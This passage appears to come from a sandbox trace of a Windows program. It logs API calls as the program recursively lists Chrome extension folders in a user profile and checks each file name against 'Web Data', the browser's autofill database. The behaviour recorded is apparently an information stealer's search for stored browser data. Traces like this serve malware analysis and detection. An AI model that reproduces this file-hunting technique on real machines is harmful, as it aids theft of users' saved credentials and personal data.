returned 0 [0056.460] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.460] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.460] LocalFree (hMem=0x2e0100) returned 0x0 [0056.460] LocalFree (hMem=0x2e0210) returned 0x0 [0056.460] lstrcmpiA (lpString1=".", lpString2="te") returned -1 [0056.460] lstrcmpiA (lpString1="..", lpString2="te") returned -1 [0056.460] LocalFree (hMem=0x2e0100) returned 0x0 [0056.460] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.460] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.460] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.461] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.461] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.461] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.461] LocalFree (hMem=0x2e0100) returned 0x0 [0056.461] LocalFree (hMem=0x2e0210) returned 0x0 [0056.461] lstrcmpiA (lpString1=".", lpString2="th") returned -1 [0056.461] lstrcmpiA (lpString1="..", lpString2="th") returned -1 [0056.461] LocalFree (hMem=0x2e0100) returned 0x0 [0056.461] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.461] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.461] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.461] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.461] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.461] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.461] LocalFree (hMem=0x2e0100) returned 0x0 [0056.461] LocalFree (hMem=0x2e0210) returned 0x0 [0056.461] lstrcmpiA (lpString1=".", lpString2="tr") returned -1 [0056.461] lstrcmpiA (lpString1="..", lpString2="tr") returned -1 [0056.461] LocalFree (hMem=0x2e0100) returned 0x0 [0056.461] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.461] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.461] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.461] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.461] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.461] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.461] LocalFree (hMem=0x2e0100) returned 0x0 [0056.461] LocalFree (hMem=0x2e0210) returned 0x0 [0056.461] lstrcmpiA (lpString1=".", lpString2="uk") returned -1 [0056.461] lstrcmpiA (lpString1="..", lpString2="uk") returned -1 [0056.461] LocalFree (hMem=0x2e0100) returned 0x0 [0056.461] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.462] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.462] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.462] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.462] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.462] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.462] LocalFree (hMem=0x2e0100) returned 0x0 [0056.462] LocalFree (hMem=0x2e0210) returned 0x0 [0056.462] lstrcmpiA (lpString1=".", lpString2="ur") returned -1 [0056.462] lstrcmpiA (lpString1="..", lpString2="ur") returned -1 [0056.462] LocalFree (hMem=0x2e0100) returned 0x0 [0056.462] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.462] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.462] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.462] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.462] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.462] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.462] LocalFree (hMem=0x2e0100) returned 0x0 [0056.462] LocalFree (hMem=0x2e0210) returned 0x0 [0056.462] lstrcmpiA (lpString1=".", lpString2="vi") returned -1 [0056.462] lstrcmpiA (lpString1="..", lpString2="vi") returned -1 [0056.462] LocalFree (hMem=0x2e0100) returned 0x0 [0056.462] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.462] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.462] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.462] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.462] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.462] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.463] LocalFree (hMem=0x2e0100) returned 0x0 [0056.463] LocalFree (hMem=0x2e0210) returned 0x0 [0056.463] lstrcmpiA (lpString1=".", lpString2="zh_CN") returned -1 [0056.463] lstrcmpiA (lpString1="..", lpString2="zh_CN") returned -1 [0056.463] LocalFree (hMem=0x2e0100) returned 0x0 [0056.463] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.463] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.463] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.463] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.463] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.463] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.463] LocalFree (hMem=0x2e0320) returned 0x0 [0056.463] LocalFree (hMem=0x2e0210) returned 0x0 [0056.463] lstrcmpiA (lpString1=".", lpString2="zh_HK") returned -1 [0056.463] lstrcmpiA (lpString1="..", lpString2="zh_HK") returned -1 [0056.463] LocalFree (hMem=0x2e0100) returned 0x0 [0056.463] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.463] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.463] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.463] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.463] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.463] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.463] lstrcmpiA (lpString1=".", lpString2="zh_TW") returned -1 [0056.463] lstrcmpiA (lpString1="..", lpString2="zh_TW") returned -1 [0056.463] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.463] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.464] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.464] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.464] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.464] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.464] lstrcmpiA (lpString1=".", lpString2="zu") returned -1 [0056.464] lstrcmpiA (lpString1="..", lpString2="zu") returned -1 [0056.464] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.464] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.464] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.464] FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.464] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.464] StrStrIA (lpFirst="computed_hashes.json", lpSrch="Web Data") returned 0x0 [0056.464] StrStrIA (lpFirst="verified_contents.json", lpSrch="Web Data") returned 0x0 [0056.465] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\*.*", lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0x2dc7f8 [0056.465] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\*.*", lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0x2dc838 [0056.465] StrStrIA (lpFirst="craw_background.js", lpSrch="Web Data") returned 0x0 [0056.465] StrStrIA (lpFirst="craw_window.js", lpSrch="Web Data") returned 0x0 [0056.465] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.465] StrStrIA (lpFirst="craw_window.css", lpSrch="Web Data") returned 0x0 [0056.465] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.465] StrStrIA (lpFirst="craw_window.html", lpSrch="Web Data") returned 0x0 [0056.465] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.466] StrStrIA (lpFirst="flapper.gif", lpSrch="Web Data") returned 0x0 [0056.466] StrStrIA (lpFirst="icon_128.png", lpSrch="Web Data") returned 0x0 [0056.466] StrStrIA (lpFirst="icon_16.png", lpSrch="Web Data") returned 0x0 [0056.466] StrStrIA (lpFirst="topbar_floating_button.png", lpSrch="Web Data") returned 0x0 [0056.466] StrStrIA (lpFirst="topbar_floating_button_close.png", lpSrch="Web Data") returned 0x0 [0056.466] StrStrIA (lpFirst="topbar_floating_button_hover.png", lpSrch="Web Data") returned 0x0 [0056.466] StrStrIA (lpFirst="topbar_floating_button_maximize.png", lpSrch="Web Data") returned 0x0 [0056.466] StrStrIA (lpFirst="topbar_floating_button_pressed.png", lpSrch="Web Data") returned 0x0 [0056.466] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0056.466] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.467] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.467] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.467] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.467] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.467] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.467] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.467] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.468] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.468] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.468] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.468] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.468] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.468] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.468] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.468] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.468] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.468] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.468] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.468] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.469] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.469] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.469] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.469] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.469] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.469] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.469] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.469] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.469] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.469] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.470] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.470] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.470] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.470] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.471] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.471] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.471] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.471] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.471] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.471] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.471] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.471] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.471] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.471] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.472] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.472] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.472] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.472] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.472] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.472] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.472] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.472] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.472] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.472] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.472] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.472] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.473] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.473] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.473] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.473] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.473] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.475] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.475] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.475] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.475] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.475] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.476] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.476] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.476] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.476] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.476] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.476] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.476] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.476] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.476] StrStrIA 